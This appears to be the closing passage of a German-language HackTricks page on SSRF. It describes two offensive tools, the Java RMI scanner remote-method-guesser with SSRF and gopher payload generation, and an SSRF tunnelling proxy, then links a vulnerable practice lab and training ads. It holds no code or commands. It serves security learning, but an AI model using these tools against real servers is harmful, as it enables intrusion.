remote-method-guesser ist ein Java RMI-Schwachstellen-Scanner, der Angriffsoperationen für die meisten gängigen Java RMI-Schwachstellen unterstützt. Die meisten verfügbaren Operationen unterstützen die --ssrf-Option, um eine SSRF-payload für die angeforderte Operation zu generieren. Zusammen mit der --gopher-Option können sofort einsatzbereite gopher-payloads direkt generiert werden.

SSRF Proxy

SSRF Proxy ist ein multithreaded HTTP-Proxy-Server, der dazu entwickelt wurde, Client-HTTP-Verkehr durch HTTP-Server zu tunneln, die für Server-Side Request Forgery (SSRF) anfällig sind.

To practice

GitHub - incredibleindishell/SSRF_Vulnerable_Lab: This Lab contain the sample codes which are vulnerable to Server-Side Request Forgery attack \xc2\xb7 GitHub

References

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks